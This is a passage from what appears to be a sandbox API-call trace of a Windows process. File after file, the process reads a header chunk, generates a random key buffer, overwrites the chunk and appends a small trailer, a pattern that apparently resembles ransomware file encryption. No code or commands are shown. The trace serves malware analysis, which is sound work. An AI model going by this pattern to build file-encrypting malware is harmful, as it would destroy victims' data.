hHeap=0x540000) returned 1 [0089.626] GetProcessHeap () returned 0x540000 [0089.626] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.626] GetProcessHeap () returned 0x540000 [0089.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.626] GetProcessHeap () returned 0x540000 [0089.626] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.627] GetProcessHeap () returned 0x540000 [0089.627] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.627] GetProcessHeap () returned 0x540000 [0089.627] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.627] GetProcessHeap () returned 0x540000 [0089.627] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.627] GetProcessHeap () returned 0x540000 [0089.627] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0089.627] GetProcessHeap () returned 0x540000 [0089.627] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.627] GetProcessHeap () returned 0x540000 [0089.627] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0089.627] GetProcessHeap () returned 0x540000 [0089.627] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0089.627] GetProcessHeap () returned 0x540000 [0089.627] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.627] GetProcessHeap () returned 0x540000 [0089.627] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0089.627] SetFilePointerEx (in: hFile=0xa04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.627] WriteFile (in: hFile=0xa04, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0089.627] WriteFile (in: hFile=0xa04, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0089.627] GetProcessHeap () returned 0x540000 [0089.627] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0089.628] GetProcessHeap () returned 0x540000 [0089.628] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0089.628] GetProcessHeap () returned 0x540000 [0089.628] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0089.628] CloseHandle (hObject=0xa04) returned 1 [0089.629] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 163 [0089.629] SetFilePointerEx (in: hFile=0xa08, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.629] ReadFile (in: hFile=0xa08, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0089.629] SetFilePointerEx (in: hFile=0xa08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.629] GetProcessHeap () returned 0x540000 [0089.629] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0089.629] GetProcessHeap () returned 0x540000 [0089.629] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0089.629] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0089.629] GetProcessHeap () returned 0x540000 [0089.629] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0089.629] ReadFile (in: hFile=0xa08, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0089.683] SetFilePointerEx (in: hFile=0xa08, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.683] WriteFile (in: hFile=0xa08, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0089.683] GetProcessHeap () returned 0x540000 [0089.683] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0089.683] GetProcessHeap () returned 0x540000 [0089.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.684] GetProcessHeap () returned 0x540000 [0089.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0089.685] GetProcessHeap () returned 0x540000 [0089.685] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.685] GetProcessHeap () returned 0x540000 [0089.686] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0089.686] GetProcessHeap () returned 0x540000 [0089.686] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0089.686] GetProcessHeap () returned 0x540000 [0089.686] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0089.686] GetProcessHeap () returned 0x540000 [0089.686] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0089.686] GetProcessHeap () returned 0x540000 [0089.686] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0089.686] GetProcessHeap () returned 0x540000 [0089.686] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0089.686] GetProcessHeap () returned 0x540000 [0089.686] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.686] GetProcessHeap () returned 0x540000 [0089.686] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0089.686] GetProcessHeap () returned 0x540000 [0089.686] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.686] GetProcessHeap () returned 0x540000 [0089.686] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.686] GetProcessHeap () returned 0x540000 [0089.686] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.686] GetProcessHeap () returned 0x540000 [0089.686] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.686] GetProcessHeap () returned 0x540000 [0089.686] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.686] GetProcessHeap () returned 0x540000 [0089.686] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.686] GetProcessHeap () returned 0x540000 [0089.686] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.686] GetProcessHeap () returned 0x540000 [0089.686] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.686] GetProcessHeap () returned 0x540000 [0089.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.687] GetProcessHeap () returned 0x540000 [0089.687] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.687] GetProcessHeap () returned 0x540000 [0089.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.687] GetProcessHeap () returned 0x540000 [0089.687] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.687] GetProcessHeap () returned 0x540000 [0089.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.687] GetProcessHeap () returned 0x540000 [0089.687] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.687] GetProcessHeap () returned 0x540000 [0089.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.687] GetProcessHeap () returned 0x540000 [0089.687] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.687] GetProcessHeap () returned 0x540000 [0089.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.687] GetProcessHeap () returned 0x540000 [0089.687] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.687] GetProcessHeap () returned 0x540000 [0089.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.687] GetProcessHeap () returned 0x540000 [0089.687] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.687] GetProcessHeap () returned 0x540000 [0089.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.687] GetProcessHeap () returned 0x540000 [0089.687] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.687] GetProcessHeap () returned 0x540000 [0089.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.688] GetProcessHeap () returned 0x540000 [0089.688] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.688] GetProcessHeap () returned 0x540000 [0089.688] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0089.688] GetProcessHeap () returned 0x540000 [0089.688] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0089.688] GetProcessHeap () returned 0x540000 [0089.688] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0089.688] GetProcessHeap () returned 0x540000 [0089.688] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0089.688] GetProcessHeap () returned 0x540000 [0089.688] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0089.688] GetProcessHeap () returned 0x540000 [0089.688] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0089.688] SetFilePointerEx (in: hFile=0xa08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.688] WriteFile (in: hFile=0xa08, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0089.688] WriteFile (in: hFile=0xa08, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0089.688] GetProcessHeap () returned 0x540000 [0089.688] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0089.688] GetProcessHeap () returned 0x540000 [0089.688] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0089.688] GetProcessHeap () returned 0x540000 [0089.688] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0089.688] CloseHandle (hObject=0xa08) returned 1 [0089.690] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 164 [0089.690] SetFilePointerEx (in: hFile=0xa0c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.690] ReadFile (in: hFile=0xa0c, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0089.690] SetFilePointerEx (in: hFile=0xa0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.690] GetProcessHeap () returned 0x540000 [0089.690] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0089.690] GetProcessHeap () returned 0x540000 [0089.690] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0089.690] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0089.690] GetProcessHeap () returned 0x540000 [0089.690] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0089.690] ReadFile (in: hFile=0xa0c, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0089.752] SetFilePointerEx (in: hFile=0xa0c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.752] WriteFile (in: hFile=0xa0c, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0089.752] GetProcessHeap () returned 0x540000 [0089.752] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0089.752] GetProcessHeap () returned 0x540000 [0089.752] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.752] GetProcessHeap () returned 0x540000 [0089.752] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0089.752] GetProcessHeap () returned 0x540000 [0089.752] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.752] GetProcessHeap () returned 0x540000 [0089.752] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0089.752] GetProcessHeap () returned 0x540000 [0089.752] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0089.752] GetProcessHeap () returned 0x540000 [0089.752] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.752] GetProcessHeap () returned 0x540000 [0089.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.753] GetProcessHeap () returned 0x540000 [0089.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0089.754] GetProcessHeap () returned 0x540000 [0089.754] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0089.754] GetProcessHeap () returned 0x540000 [0089.755] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0089.755] GetProcessHeap () returned 0x540000 [0089.755] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0089.755] 